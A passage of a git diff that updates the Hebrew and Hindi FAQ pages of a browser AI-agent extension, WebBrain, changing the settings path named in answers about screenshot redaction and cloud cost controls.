+ "text": "לא — היא מפחיתה חשיפה, אך אינה ערבות. כשההגדרה מופעלת (הגדרות ← מודלים מסייעים ← ראייה ← טשטוש צילומי מסך, כבויה כברירת מחדל), WebBrain מפקסל שדות טופס וטקסט שנראה ככתובת דוא\"ל או מספר טלפון בכל צילום מסך לפני שהוא נשלח למודל ראייה. הזיהוי מתבצע כולו במכשיר שלך באמצעות היוריסטיקות DOM; שום דבר נוסף לא מועבר. זהו טשטוש במאמץ סביר (best-effort) מסוג fail-open. אם המזהה אינו יכול לפעול בדף מסוים — למשל מיד אחרי ניווט, בצפייה בקבצי PDF, או בדפי דפדפן מוגבלים — צילום המסך עדיין יישלח ללא טשטוש במקום לבטל את המשימה שלך. תוכן שהיוריסטיקות של DOM אינן יכולות לראות (טקסט המצויר על canvas, מידע אישי בתוך תמונות, רכיבי ממשק חריגים) עלול גם הוא לחמוק. וההגדרה מכסה רק צילומי מסך: טקסט הדף הנשלח למודל אינו מטושטש על ידה. לפרטיות מלאה בראייה, השתמש במודל מקומי. עם ספק לא מקוון כמו llama.cpp או Ollama, צילומי המסך וטקסט הדף לעולם אינם עוזבים את המכשיר שלך, כך שאין כלל מה לטשטש מלכתחילה — זו התצורה היחידה שבה הפרטיות מובטחת. ראה \"האם אני יכול להשתמש ב-WebBrain לחלוטין לא מקוון?\" למעלה. אין לך מכשיר שמסוגל להריץ מודל מקומי עם תמיכה בראייה? פשרה טובה היא שימוש במודל מקומי קטן לתכנון ולקריאה לכלים (קליל מספיק למעבד/כרטיס מסך צנוע), בשילוב עם ספק ענן עבור קריאות המשנה של הראייה, כאשר טשטוש צילומי מסך מופעל. השיחה שלך וטקסט הדף נשארים במכשיר, וכל צילום מסך שיוצא לראייה בענן כבר עבר טשטוש של שדות טופס ודוא\"ל/טלפון שזוהו — פחות חשיפה בענן מבלי להזדקק לחומרה עבור מודל ראייה מקומי מלא. הגדר את החלוקה הזו תחת הגדרות ← מודלים מסייעים ← ראייה (ראה \"כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?\" למעלה)."
}
},
{
@@ -289,7 +289,7 @@
"name": "כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "שלוש שכבות עצמאיות: צילומי מסך חוסכי אסימונים. לפני שכל תמונה עוזבת את המכשיר שלך, WebBrain משנה את גודלה (הצד הקצר מוגבל, תוך שמירה על יחס רוחב-גובה) ודוחס אותה חוזרת ב-JPEG עד שהיא מתאימה למכסת אסימוני תמונה לכל תור. צילום מסך של 2000×1200 שהיה עולה לך כ-1500 אסימוני כניסה ב-GPT-4o דוחס לכ-300-500 אסימונים ללא אובדן מעשי למשימות קריאת דפים. מומש ב-_fitImageDimensions עם בדיקות יחידה לחישובי המכסה. גיזום קשר חכם. היסטוריית שיחה, פלטי כלים ופריקת DOM מוטמעות מוגבלות לכל תור וɡізוזות מהישן לחדש כשחלון הקשר של המודל הפעיל מתקרב למלואו. לא תראה הפעלה מתנפחת בשקט מ-10k אסימונים ל-100k רק בגלל ש-read_page החזיר מאמר באורך רומן. מודל ראייה ייעודי.זוג מודל טקסט זול (כמו GPT-4o-mini) לתכנון וקריאה לכלים עם מודל ראייה נפרד (כמו GPT-4o) רק לצילומי מסך, כדי לא לשלם מחירים של מודל רב-תכליתי בכל תור. להגדרות בהגדרות ← ראייה. תוצאה סופית: ישיבות ארוכות עם ספקי ענן נשארות צפויות. לשליטה מלאה, השתמש ב-llama.cpp מקומי — אפס עלות לאסימון."
+ "text": "שלוש שכבות עצמאיות: צילומי מסך חוסכי אסימונים. לפני שכל תמונה עוזבת את המכשיר שלך, WebBrain משנה את גודלה (הצד הקצר מוגבל, תוך שמירה על יחס רוחב-גובה) ודוחס אותה חוזרת ב-JPEG עד שהיא מתאימה למכסת אסימוני תמונה לכל תור. צילום מסך של 2000×1200 שהיה עולה לך כ-1500 אסימוני כניסה ב-GPT-4o דוחס לכ-300-500 אסימונים ללא אובדן מעשי למשימות קריאת דפים. מומש ב-_fitImageDimensions עם בדיקות יחידה לחישובי המכסה. גיזום קשר חכם. היסטוריית שיחה, פלטי כלים ופריקת DOM מוטמעות מוגבלות לכל תור וɡізוזות מהישן לחדש כשחלון הקשר של המודל הפעיל מתקרב למלואו. לא תראה הפעלה מתנפחת בשקט מ-10k אסימונים ל-100k רק בגלל ש-read_page החזיר מאמר באורך רומן. מודל ראייה ייעודי.זוג מודל טקסט זול (כמו GPT-4o-mini) לתכנון וקריאה לכלים עם מודל ראייה נפרד (כמו GPT-4o) רק לצילומי מסך, כדי לא לשלם מחירים של מודל רב-תכליתי בכל תור. להגדרות בהגדרות ← מודלים מסייעים ← ראייה. תוצאה סופית: ישיבות ארוכות עם ספקי ענן נשארות צפויות. לשליטה מלאה, השתמש ב-llama.cpp מקומי — אפס עלות לאסימון."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>שלוש שכבות עצמאיות:</p><p><strong>צילומי מסך חוסכי אסימונים.</strong> לפני שכל תמונה עוזבת את המכשיר שלך, WebBrain משנה את גודלה (הצד הקצר מוגבל, תוך שמירה על יחס רוחב-גובה) ודוחס אותה חוזרת ב-JPEG עד שהיא מתאימה למכסת אסימוני תמונה לכל תור. צילום מסך של 2000×1200 שהיה עולה לך כ-1500 אסימוני כניסה ב-GPT-4o דוחס לכ-300-500 אסימונים ללא אובדן מעשי למשימות קריאת דפים. מומש ב-<code>_fitImageDimensions</code> עם בדיקות יחידה לחישובי המכסה.</p><p><strong>גיזום קשר חכם.</strong> היסטוריית שיחה, פלטי כלים ופריקת DOM מוטמעות מוגבלות לכל תור וɡізוזות מהישן לחדש כשחלון הקשר של המודל הפעיל מתקרב למלואו. לא תראה הפעלה מתנפחת בשקט מ-10k אסימונים ל-100k רק בגלל ש-<code>read_page</code> החזיר מאמר באורך רומן.</p><p><strong>מודל ראייה ייעודי.</strong>זוג מודל טקסט זול (כמו GPT-4o-mini) לתכנון וקריאה לכלים עם מודל ראייה נפרד (כמו GPT-4o) רק לצילומי מסך, כדי לא לשלם מחירים של מודל רב-תכליתי בכל תור. להגדרות ב<strong>הגדרות ← ראייה</strong>.</p><p>תוצאה סופית: ישיבות ארוכות עם ספקי ענן נשארות צפויות. לשליטה מלאה, השתמש ב-llama.cpp מקומי — אפס עלות לאסימון.</p></div>
+ <div class="faq-answer"><p>שלוש שכבות עצמאיות:</p><p><strong>צילומי מסך חוסכי אסימונים.</strong> לפני שכל תמונה עוזבת את המכשיר שלך, WebBrain משנה את גודלה (הצד הקצר מוגבל, תוך שמירה על יחס רוחב-גובה) ודוחס אותה חוזרת ב-JPEG עד שהיא מתאימה למכסת אסימוני תמונה לכל תור. צילום מסך של 2000×1200 שהיה עולה לך כ-1500 אסימוני כניסה ב-GPT-4o דוחס לכ-300-500 אסימונים ללא אובדן מעשי למשימות קריאת דפים. מומש ב-<code>_fitImageDimensions</code> עם בדיקות יחידה לחישובי המכסה.</p><p><strong>גיזום קשר חכם.</strong> היסטוריית שיחה, פלטי כלים ופריקת DOM מוטמעות מוגבלות לכל תור וɡізוזות מהישן לחדש כשחלון הקשר של המודל הפעיל מתקרב למלואו. לא תראה הפעלה מתנפחת בשקט מ-10k אסימונים ל-100k רק בגלל ש-<code>read_page</code> החזיר מאמר באורך רומן.</p><p><strong>מודל ראייה ייעודי.</strong>זוג מודל טקסט זול (כמו GPT-4o-mini) לתכנון וקריאה לכלים עם מודל ראייה נפרד (כמו GPT-4o) רק לצילומי מסך, כדי לא לשלם מחירים של מודל רב-תכליתי בכל תור. להגדרות ב<strong>הגדרות ← מודלים מסייעים ← ראייה</strong>.</p><p>תוצאה סופית: ישיבות ארוכות עם ספקי ענן נשארות צפויות. לשליטה מלאה, השתמש ב-llama.cpp מקומי — אפס עלות לאסימון.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>האם ההגדרה טשטוש צילומי מסך מבטיחה שהנתונים הפרטיים שלי לעולם לא יגיעו למודל ראייה בענן?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>לא — היא מפחיתה חשיפה, אך אינה ערבות. כשההגדרה מופעלת (<strong>הגדרות ← מולטי-מודאלי ← טשטוש צילומי מסך</strong>, כבויה כברירת מחדל), WebBrain מפקסל שדות טופס וטקסט שנראה ככתובת דוא"ל או מספר טלפון בכל צילום מסך <em>לפני</em> שהוא נשלח למודל ראייה. הזיהוי מתבצע כולו במכשיר שלך באמצעות היוריסטיקות DOM; שום דבר נוסף לא מועבר.</p><p><strong>זהו טשטוש במאמץ סביר (best-effort) מסוג fail-open.</strong> אם המזהה אינו יכול לפעול בדף מסוים — למשל מיד אחרי ניווט, בצפייה בקבצי PDF, או בדפי דפדפן מוגבלים — צילום המסך עדיין יישלח <em>ללא טשטוש</em> במקום לבטל את המשימה שלך. תוכן שהיוריסטיקות של DOM אינן יכולות לראות (טקסט המצויר על canvas, מידע אישי בתוך תמונות, רכיבי ממשק חריגים) עלול גם הוא לחמוק. וההגדרה מכסה רק צילומי מסך: <em>טקסט</em> הדף הנשלח למודל אינו מטושטש על ידה.</p><p><strong>לפרטיות מלאה בראייה, השתמש במודל מקומי.</strong> עם ספק לא מקוון כמו llama.cpp או Ollama, צילומי המסך וטקסט הדף לעולם אינם עוזבים את המכשיר שלך, כך שאין כלל מה לטשטש מלכתחילה — זו התצורה היחידה שבה הפרטיות מובטחת. ראה "האם אני יכול להשתמש ב-WebBrain לחלוטין לא מקוון?" למעלה.</p><p><strong>אין לך מכשיר שמסוגל להריץ מודל מקומי עם תמיכה בראייה?</strong> פשרה טובה היא שימוש במודל מקומי קטן לתכנון ולקריאה לכלים (קליל מספיק למעבד/כרטיס מסך צנוע), בשילוב עם ספק ענן עבור קריאות המשנה של הראייה, כאשר טשטוש צילומי מסך מופעל. השיחה שלך וטקסט הדף נשארים במכשיר, וכל צילום מסך שיוצא לראייה בענן כבר עבר טשטוש של שדות טופס ודוא"ל/טלפון שזוהו — פחות חשיפה בענן מבלי להזדקק לחומרה עבור מודל ראייה מקומי מלא. הגדר את החלוקה הזו תחת <strong>הגדרות ← ראייה</strong> (ראה "כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?" למעלה).</p></div>
+ <div class="faq-answer"><p>לא — היא מפחיתה חשיפה, אך אינה ערבות. כשההגדרה מופעלת (<strong>הגדרות ← מודלים מסייעים ← ראייה ← טשטוש צילומי מסך</strong>, כבויה כברירת מחדל), WebBrain מפקסל שדות טופס וטקסט שנראה ככתובת דוא"ל או מספר טלפון בכל צילום מסך <em>לפני</em> שהוא נשלח למודל ראייה. הזיהוי מתבצע כולו במכשיר שלך באמצעות היוריסטיקות DOM; שום דבר נוסף לא מועבר.</p><p><strong>זהו טשטוש במאמץ סביר (best-effort) מסוג fail-open.</strong> אם המזהה אינו יכול לפעול בדף מסוים — למשל מיד אחרי ניווט, בצפייה בקבצי PDF, או בדפי דפדפן מוגבלים — צילום המסך עדיין יישלח <em>ללא טשטוש</em> במקום לבטל את המשימה שלך. תוכן שהיוריסטיקות של DOM אינן יכולות לראות (טקסט המצויר על canvas, מידע אישי בתוך תמונות, רכיבי ממשק חריגים) עלול גם הוא לחמוק. וההגדרה מכסה רק צילומי מסך: <em>טקסט</em> הדף הנשלח למודל אינו מטושטש על ידה.</p><p><strong>לפרטיות מלאה בראייה, השתמש במודל מקומי.</strong> עם ספק לא מקוון כמו llama.cpp או Ollama, צילומי המסך וטקסט הדף לעולם אינם עוזבים את המכשיר שלך, כך שאין כלל מה לטשטש מלכתחילה — זו התצורה היחידה שבה הפרטיות מובטחת. ראה "האם אני יכול להשתמש ב-WebBrain לחלוטין לא מקוון?" למעלה.</p><p><strong>אין לך מכשיר שמסוגל להריץ מודל מקומי עם תמיכה בראייה?</strong> פשרה טובה היא שימוש במודל מקומי קטן לתכנון ולקריאה לכלים (קליל מספיק למעבד/כרטיס מסך צנוע), בשילוב עם ספק ענן עבור קריאות המשנה של הראייה, כאשר טשטוש צילומי מסך מופעל. השיחה שלך וטקסט הדף נשארים במכשיר, וכל צילום מסך שיוצא לראייה בענן כבר עבר טשטוש של שדות טופס ודוא"ל/טלפון שזוהו — פחות חשיפה בענן מבלי להזדקק לחומרה עבור מודל ראייה מקומי מלא. הגדר את החלוקה הזו תחת <strong>הגדרות ← מודלים מסייעים ← ראייה</strong> (ראה "כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?" למעלה).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>האם WebBrain שולח את כל ה-DOM למודל הבינה המלאכותית?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/hi/faq/index.html b/web/docs/hi/faq/index.html
index 693b6418a..edcebcb98 100644
--- a/web/docs/hi/faq/index.html
+++ b/web/docs/hi/faq/index.html
@@ -249,7 +249,7 @@
"name": "क्या स्क्रीनशॉट रिडक्शन सेटिंग यह गारंटी देती है कि मेरा निजी डेटा कभी भी क्लाउड विज़न मॉडल तक नहीं पहुंचेगा?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "नहीं - यह जोखिम को कम करता है, इसकी कोई गारंटी नहीं है। सक्षम होने पर (सेटिंग्स → मल्टीमॉडल → स्क्रीनशॉट रिडक्शन, डिफ़ॉल्ट रूप से बंद), WebBrain फॉर्म फ़ील्ड और टेक्स्ट को पिक्सेलित करता है जो प्रत्येक स्क्रीनशॉट पर एक ईमेल पते या फोन नंबर की तरह दिखता है पहले इसे एक विज़न मॉडल में भेजा जाता है। DOM हेयुरिस्टिक्स का उपयोग करके डिटेक्शन पूरी तरह से आपके डिवाइस पर चलता है; कुछ भी अतिरिक्त प्रसारित नहीं होता है. यह सर्वोत्तम-प्रयास और असफलता-रहित है। यदि डिटेक्टर किसी पृष्ठ पर नहीं चल सकता है - उदाहरण के लिए नेविगेशन के तुरंत बाद, पीडीएफ दर्शकों पर, या प्रतिबंधित ब्राउज़र पृष्ठों पर - स्क्रीनशॉट अभी भी भेजा जाता है अप्रकाशित अपने कार्य को निरस्त करने के बजाय। वह सामग्री जिसे DOM अनुमान नहीं देख सकता (कैनवास पर खींचा गया पाठ, छवियों के अंदर PII, असामान्य विजेट) भी फिसल सकता है। और सेटिंग केवल स्क्रीनशॉट को कवर करती है: पेज पाठ मॉडल को भेजा गया इसके द्वारा संशोधित नहीं किया गया है। पूर्ण दृष्टि गोपनीयता के लिए, स्थानीय मॉडल का उपयोग करें। llama.cpp या Ollama जैसे ऑफ़लाइन प्रदाता के साथ, स्क्रीनशॉट और पेज टेक्स्ट आपकी मशीन को कभी नहीं छोड़ते हैं, इसलिए पहली बार में रिडक्ट करने के लिए कुछ भी नहीं है - यह एकमात्र कॉन्फ़िगरेशन है जहां गोपनीयता की गारंटी है। देखें \"क्या मैं WebBrain का पूरी तरह ऑफ़लाइन उपयोग कर सकता हूँ?\" ऊपर। क्या आपके पास ऐसी मशीन नहीं है जो दृष्टि-सक्षम स्थानीय मॉडल चला सके? एक अच्छा मध्य मार्ग नियोजन और टूल कॉल के लिए एक छोटा स्थानीय मॉडल है (एक मामूली सीपीयू/जीपीयू के लिए पर्याप्त तेज़ और हल्का) जिसे विज़न उप-कॉल के लिए क्लाउड प्रदाता के साथ जोड़ा जाता है, जिसमें स्क्रीनशॉट रिडक्शन चालू होता है। आप अभी भी अपनी बातचीत और पेज टेक्स्ट को डिवाइस पर रखते हैं, और क्लाउड विज़न के लिए छोड़े जाने वाले प्रत्येक स्क्रीनशॉट में फॉर्म फ़ील्ड और पहचाने गए ईमेल/फ़ोन पहले धुंधले होते हैं - पूर्ण स्थानीय विज़न मॉडल के लिए हार्डवेयर की आवश्यकता के बिना क्लाउड एक्सपोज़र कम हो जाता है। विज़न स्प्लिट को नीचे कॉन्फ़िगर करें सेटिंग्स → विजन (ऊपर देखें \"WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?\")।"
+ "text": "नहीं - यह जोखिम को कम करता है, इसकी कोई गारंटी नहीं है। सक्षम होने पर (सेटिंग्स → सहायक मॉडल → दृष्टि → स्क्रीनशॉट रिडक्शन, डिफ़ॉल्ट रूप से बंद), WebBrain फॉर्म फ़ील्ड और टेक्स्ट को पिक्सेलित करता है जो प्रत्येक स्क्रीनशॉट पर एक ईमेल पते या फोन नंबर की तरह दिखता है पहले इसे एक विज़न मॉडल में भेजा जाता है। DOM हेयुरिस्टिक्स का उपयोग करके डिटेक्शन पूरी तरह से आपके डिवाइस पर चलता है; कुछ भी अतिरिक्त प्रसारित नहीं होता है. यह सर्वोत्तम-प्रयास और असफलता-रहित है। यदि डिटेक्टर किसी पृष्ठ पर नहीं चल सकता है - उदाहरण के लिए नेविगेशन के तुरंत बाद, पीडीएफ दर्शकों पर, या प्रतिबंधित ब्राउज़र पृष्ठों पर - स्क्रीनशॉट अभी भी भेजा जाता है अप्रकाशित अपने कार्य को निरस्त करने के बजाय। वह सामग्री जिसे DOM अनुमान नहीं देख सकता (कैनवास पर खींचा गया पाठ, छवियों के अंदर PII, असामान्य विजेट) भी फिसल सकता है। और सेटिंग केवल स्क्रीनशॉट को कवर करती है: पेज पाठ मॉडल को भेजा गया इसके द्वारा संशोधित नहीं किया गया है। पूर्ण दृष्टि गोपनीयता के लिए, स्थानीय मॉडल का उपयोग करें। llama.cpp या Ollama जैसे ऑफ़लाइन प्रदाता के साथ, स्क्रीनशॉट और पेज टेक्स्ट आपकी मशीन को कभी नहीं छोड़ते हैं, इसलिए पहली बार में रिडक्ट करने के लिए कुछ भी नहीं है - यह एकमात्र कॉन्फ़िगरेशन है जहां गोपनीयता की गारंटी है। देखें \"क्या मैं WebBrain का पूरी तरह ऑफ़लाइन उपयोग कर सकता हूँ?\" ऊपर। क्या आपके पास ऐसी मशीन नहीं है जो दृष्टि-सक्षम स्थानीय मॉडल चला सके? एक अच्छा मध्य मार्ग नियोजन और टूल कॉल के लिए एक छोटा स्थानीय मॉडल है (एक मामूली सीपीयू/जीपीयू के लिए पर्याप्त तेज़ और हल्का) जिसे विज़न उप-कॉल के लिए क्लाउड प्रदाता के साथ जोड़ा जाता है, जिसमें स्क्रीनशॉट रिडक्शन चालू होता है। आप अभी भी अपनी बातचीत और पेज टेक्स्ट को डिवाइस पर रखते हैं, और क्लाउड विज़न के लिए छोड़े जाने वाले प्रत्येक स्क्रीनशॉट में फॉर्म फ़ील्ड और पहचाने गए ईमेल/फ़ोन पहले धुंधले होते हैं - पूर्ण स्थानीय विज़न मॉडल के लिए हार्डवेयर की आवश्यकता के बिना क्लाउड एक्सपोज़र कम हो जाता है। विज़न स्प्लिट को नीचे कॉन्फ़िगर करें सेटिंग्स → सहायक मॉडल → दृष्टि (ऊपर देखें \"WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?\")।"
}
},
{
@@ -289,7 +289,7 @@
"name": "WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "तीन स्वतंत्र परतें: टोकन-सचेत स्क्रीनशॉट। इससे पहले कि कोई छवि आपकी मशीन से बाहर जाए, WebBrain उसका आकार बदलता है (छोटा साइड कैप्ड, पहलू अनुपात को संरक्षित करता है) और इसे पुनरावृत्त रूप से JPEG-संपीड़ित करता है जब तक कि यह प्रति-मोड़ छवि-टोकन बजट में फिट न हो जाए। एक 2000×1200 स्क्रीनशॉट जिसकी कीमत आपको GPT-4o पर ~1,500 इनपुट टोकन होगी, पेज-रीडिंग कार्यों के लिए कोई व्यावहारिक हानि के बिना ~300-500 टोकन तक संपीड़ित हो जाता है। में क्रियान्वित किया गया _fitImageDimensions बजट गणित के लिए इकाई परीक्षणों के साथ। स्मार्ट संदर्भ ट्रिमिंग. वार्तालाप इतिहास, टूल आउटपुट और इनलाइन DOM डंप को प्रति मोड़ पर सीमित किया जाता है और सक्रिय मॉडल की संदर्भ विंडो पूर्ण होने पर सबसे पहले छंटनी की जाती है। आप 10k टोकन से 100k तक चुपचाप चलने वाला गुब्बारा नहीं देखेंगे क्योंकि a read_page एक उपन्यास-लंबा लेख लौटाया। समर्पित विज़न मॉडल. योजना और टूल कॉल के लिए एक सस्ते टेक्स्ट मॉडल (जैसे GPT-4o-मिनी) को केवल स्क्रीनशॉट के लिए एक अलग विज़न-सक्षम मॉडल (जैसे GPT-4o) के साथ जोड़ें, ताकि आपको हर एक मोड़ पर मल्टीमॉडल-मॉडल कीमतों का भुगतान न करना पड़े। के अंतर्गत कॉन्फ़िगर करें सेटिंग्स → विजन. शुद्ध परिणाम: क्लाउड प्रदाताओं के साथ लंबे सत्र पूर्वानुमानित रहते हैं। पूर्ण नियंत्रण के लिए, स्थानीय रूप से llama.cpp का उपयोग करें - शून्य प्रति टोकन लागत।"
+ "text": "तीन स्वतंत्र परतें: टोकन-सचेत स्क्रीनशॉट। इससे पहले कि कोई छवि आपकी मशीन से बाहर जाए, WebBrain उसका आकार बदलता है (छोटा साइड कैप्ड, पहलू अनुपात को संरक्षित करता है) और इसे पुनरावृत्त रूप से JPEG-संपीड़ित करता है जब तक कि यह प्रति-मोड़ छवि-टोकन बजट में फिट न हो जाए। एक 2000×1200 स्क्रीनशॉट जिसकी कीमत आपको GPT-4o पर ~1,500 इनपुट टोकन होगी, पेज-रीडिंग कार्यों के लिए कोई व्यावहारिक हानि के बिना ~300-500 टोकन तक संपीड़ित हो जाता है। में क्रियान्वित किया गया _fitImageDimensions बजट गणित के लिए इकाई परीक्षणों के साथ। स्मार्ट संदर्भ ट्रिमिंग. वार्तालाप इतिहास, टूल आउटपुट और इनलाइन DOM डंप को प्रति मोड़ पर सीमित किया जाता है और सक्रिय मॉडल की संदर्भ विंडो पूर्ण होने पर सबसे पहले छंटनी की जाती है। आप 10k टोकन से 100k तक चुपचाप चलने वाला गुब्बारा नहीं देखेंगे क्योंकि a read_page एक उपन्यास-लंबा लेख लौटाया। समर्पित विज़न मॉडल. योजना और टूल कॉल के लिए एक सस्ते टेक्स्ट मॉडल (जैसे GPT-4o-मिनी) को केवल स्क्रीनशॉट के लिए एक अलग विज़न-सक्षम मॉडल (जैसे GPT-4o) के साथ जोड़ें, ताकि आपको हर एक मोड़ पर मल्टीमॉडल-मॉडल कीमतों का भुगतान न करना पड़े। के अंतर्गत कॉन्फ़िगर करें सेटिंग्स → सहायक मॉडल → दृष्टि. शुद्ध परिणाम: क्लाउड प्रदाताओं के साथ लंबे सत्र पूर्वानुमानित रहते हैं। पूर्ण नियंत्रण के लिए, स्थानीय रूप से llama.cpp का उपयोग करें - शून्य प्रति टोकन लागत।"
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>WebBrain क्लाउड एलएलएम बिलों को कैसे नियंत्रण में रखता है?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>तीन स्वतंत्र परतें:</p><p><strong>टोकन-सचेत स्क्रीनशॉट।</strong> इससे पहले कि कोई छवि आपकी मशीन से बाहर जाए, WebBrain उसका आकार बदलता है (छोटा साइड कैप्ड, पहलू अनुपात को संरक्षित करता है) और इसे पुनरावृत्त रूप से JPEG-संपीड़ित करता है जब तक कि यह प्रति-मोड़ छवि-टोकन बजट में फिट न हो जाए। एक 2000×1200 स्क्रीनशॉट जिसकी कीमत आपको GPT-4o पर ~1,500 इनपुट टोकन होगी, पेज-रीडिंग कार्यों के लिए कोई व्यावहारिक हानि के बिना ~300-500 टोकन तक संपीड़ित हो जाता है। में क्रियान्वित किया गया <code>_fitImageDimensions</code> बजट गणित के लिए इकाई परीक्षणों के साथ।</p><p><strong>स्मार्ट संदर्भ ट्रिमिंग.</strong> वार्तालाप इतिहास, टूल आउटपुट और इनलाइन DOM डंप को प्रति मोड़ पर सीमित किया जाता है और सक्रिय मॉडल की संदर्भ विंडो पूर्ण होने पर सबसे पहले छंटनी की जाती है। आप 10k टोकन से 100k तक चुपचाप चलने वाला गुब्बारा नहीं देखेंगे क्योंकि a <code>read_page</code> एक उपन्यास-लंबा लेख लौटाया।</p><p><strong>समर्पित विज़न मॉडल.</strong> योजना और टूल कॉल के लिए एक सस्ते टेक्स्ट मॉडल (जैसे GPT-4o-मिनी) को केवल स्क्रीनशॉट के लिए एक अलग विज़न-सक्षम मॉडल (जैसे GPT-4o) के साथ जोड़ें, ताकि आपको हर एक मोड़ पर मल्टीमॉडल-मॉडल कीमतों का भुगतान न करना पड़े। के अंतर्गत कॉन्फ़िगर करें <strong>सेटिंग्स → विजन</strong>.</p><p>शुद्ध परिणाम: क्लाउड प्रदाताओं के साथ लंबे सत्र पूर्वानुमानित रहते हैं। पूर्ण नियंत्रण के लिए, स्थानीय रूप से llama.cpp का उपयोग करें - शून्य प्रति टोकन लागत।</p></div>
+ <div class="faq-answer"><p>तीन स्वतंत्र परतें:</p><p><strong>टोकन-सचेत स्क्रीनशॉट।</strong> इससे पहले कि कोई छवि आपकी मशीन से बाहर जाए, WebBrain उसका आकार बदलता है (छोटा साइड कैप्ड, पहलू अनुपात को संरक्षित करता है) और इसे पुनरावृत्त रूप से JPEG-संपीड़ित करता है जब तक कि यह प्रति-मोड़ छवि-टोकन बजट में फिट न हो जाए। एक 2000×1200 स्क्रीनशॉट जिसकी कीमत आपको GPT-4o पर ~1,500 इनपुट टोकन होगी, पेज-रीडिंग कार्यों के लिए कोई व्यावहारिक हानि के बिना ~300-500 टोकन तक संपीड़ित हो जाता है। में क्रियान्वित किया गया <code>_fitImageDimensions</code> बजट गणित के लिए इकाई परीक्षणों के साथ।</p><p><strong>स्मार्ट संदर्भ ट्रिमिंग.</strong> वार्तालाप इतिहास, टूल आउटपुट और इनलाइन DOM डंप को प्रति मोड़ पर सीमित किया जाता है और सक्रिय मॉडल की संदर्भ विंडो पूर्ण होने पर सबसे पहले छंटनी की जाती है। आप 10k टोकन से 100k तक चुपचाप चलने वाला गुब्बारा नहीं देखेंगे क्योंकि a <code>read_page</code> एक उपन्यास-लंबा लेख लौटाया।</p><p><strong>समर्पित विज़न मॉडल.</strong> योजना और टूल कॉल के लिए एक सस्ते टेक्स्ट मॉडल (जैसे GPT-4o-मिनी) को केवल स्क्रीनशॉट के लिए एक अलग विज़न-सक्षम मॉडल (जैसे GPT-4o) के साथ जोड़ें, ताकि आपको हर एक मोड़ पर मल्टीमॉडल-मॉडल कीमतों का भुगतान न करना पड़े। के अंतर्गत कॉन्फ़िगर करें <strong>सेटिंग्स → सहायक मॉडल → दृष्टि</strong>.</p><p>शुद्ध परिणाम: क्लाउड प्रदाताओं के साथ लंबे सत्र पूर्वानुमानित रहते हैं। पूर्ण नियंत्रण के लिए, स्थानीय रूप से llama.cpp का उपयोग करें - शून्य प्रति टोकन लागत।</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>क्या स्क्रीनशॉट रिडक्शन सेटिंग यह गारंटी देती है कि मेरा निजी डेटा कभी भी क्लाउड विज़न मॉडल तक नहीं पहुंचेगा?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>नहीं - यह जोखिम को कम करता है, इसकी कोई गारंटी नहीं है। सक्षम होने पर (<strong>सेटिंग्स → मल्टीमॉडल → स्क्रीनशॉट रिडक्शन</strong>, डिफ़ॉल्ट रूप से बंद), WebBrain फॉर्म फ़ील्ड और टेक्स्ट को पिक्सेलित करता है जो प्रत्येक स्क्रीनशॉट पर एक ईमेल पते या फोन नंबर की तरह दिखता है <em>पहले</em> इसे एक विज़न मॉडल में भेजा जाता है। DOM हेयुरिस्टिक्स का उपयोग करके डिटेक्शन पूरी तरह से आपके डिवाइस पर चलता है; कुछ भी अतिरिक्त प्रसारित नहीं होता है.</p><p><strong>यह सर्वोत्तम-प्रयास और असफलता-रहित है।</strong> यदि डिटेक्टर किसी पृष्ठ पर नहीं चल सकता है - उदाहरण के लिए नेविगेशन के तुरंत बाद, पीडीएफ दर्शकों पर, या प्रतिबंधित ब्राउज़र पृष्ठों पर - स्क्रीनशॉट अभी भी भेजा जाता है <em>अप्रकाशित</em> अपने कार्य को निरस्त करने के बजाय। वह सामग्री जिसे DOM अनुमान नहीं देख सकता (कैनवास पर खींचा गया पाठ, छवियों के अंदर PII, असामान्य विजेट) भी फिसल सकता है। और सेटिंग केवल स्क्रीनशॉट को कवर करती है: पेज <em>पाठ</em> मॉडल को भेजा गया इसके द्वारा संशोधित नहीं किया गया है।</p><p><strong>पूर्ण दृष्टि गोपनीयता के लिए, स्थानीय मॉडल का उपयोग करें।</strong> llama.cpp या Ollama जैसे ऑफ़लाइन प्रदाता के साथ, स्क्रीनशॉट और पेज टेक्स्ट आपकी मशीन को कभी नहीं छोड़ते हैं, इसलिए पहली बार में रिडक्ट करने के लिए कुछ भी नहीं है - यह एकमात्र कॉन्फ़िगरेशन है जहां गोपनीयता की गारंटी है। देखें "क्या मैं WebBrain का पूरी तरह ऑफ़लाइन उपयोग कर सकता हूँ?" ऊपर।</p><p><strong>क्या आपके पास ऐसी मशीन नहीं है जो दृष्टि-सक्षम स्थानीय मॉडल चला सके?</strong> एक अच्छा मध्य मार्ग नियोजन और टूल कॉल के लिए एक छोटा स्थानीय मॉडल है (एक मामूली सीपीयू/जीपीयू के लिए पर्याप्त तेज़ और हल्का) जिसे विज़न उप-कॉल के 